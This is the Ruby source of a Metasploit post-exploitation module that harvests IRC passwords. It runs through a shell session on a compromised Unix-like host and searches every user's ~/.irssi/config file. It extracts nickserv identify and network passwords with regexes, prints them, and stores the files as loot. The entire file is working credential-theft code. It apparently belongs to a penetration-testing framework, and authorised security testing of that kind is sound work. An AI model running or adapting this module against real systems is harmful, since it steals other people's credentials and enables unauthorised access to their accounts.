1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Post::Unix
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Multi Gather IRSSI IRC Password(s)',
15
        'Description' => %q{
16
          This module grabs IRSSI IRC credentials.
17
        },
18
        'Author' => [
19
          'Jonathan Claudius <jclaudius[at]mozilla.com>',
20
        ],
21
        'Platform' => %w[bsd linux osx unix],
22
        'SessionTypes' => %w[shell],
23
        'License' => MSF_LICENSE,
24
        'Notes' => {
25
          'Stability' => [CRASH_SAFE],
26
          'SideEffects' => [],
27
          'Reliability' => []
28
        }
29
      )
30
    )
31
  end
32

33
  def run
34
    print_status('Finding ~/.irssi/config')
35
    paths = enum_user_directories.map { |d| d + '/.irssi/config' }
36
    paths = paths.select { |f| file?(f) }
37

38
    if paths.empty?
39
      print_error('No users found with a ~/.irssi/config file')
40
      return
41
    end
42

43
    download_passwords(paths)
44
  end
45

46
  # Example of what we're looking for in the config...
47
  #
48
  # ***Identify Password Example***
49
  # autosendcmd = "/msg nickserv identify example_password ;wait 2000";
50
  #
51
  # ***Network Password Example***
52
  #    password = "example_password";
53
  #
54
  def contains_passwords?(path)
55
    data = read_file(path)
56
    identify_passwords = data.scan(%r{/\^?msg nickserv identify ([^\s]+)})
57
    network_passwords = data.scan(/^?password = "([^\s]+)"/)
58

59
    passwords = identify_passwords.flatten + network_passwords.flatten
60

61
    if passwords.any?
62
      print_good("Found IRC password(s) of #{passwords.join(',')} in irssi config at #{path}")
63
      return true
64
    end
65

66
    false
67
  end
68

69
  def download_passwords(paths)
70
    print_status "Looting #{paths.count} files"
71

72
    paths.each do |path|
73
      path.chomp!
74
      next if ['.', '..'].include?(path)
75

76
      next unless contains_passwords?(path)
77

78
      loot_path = store_loot(
79
        'irssi config file',
80
        'text/plain',
81
        session,
82
        read_file(path),
83
        path,
84
        'IRC Password'
85
      )
86
      print_good("irssi config with passwords stored in #{loot_path}")
87
    end
88
  end
89
end
90

91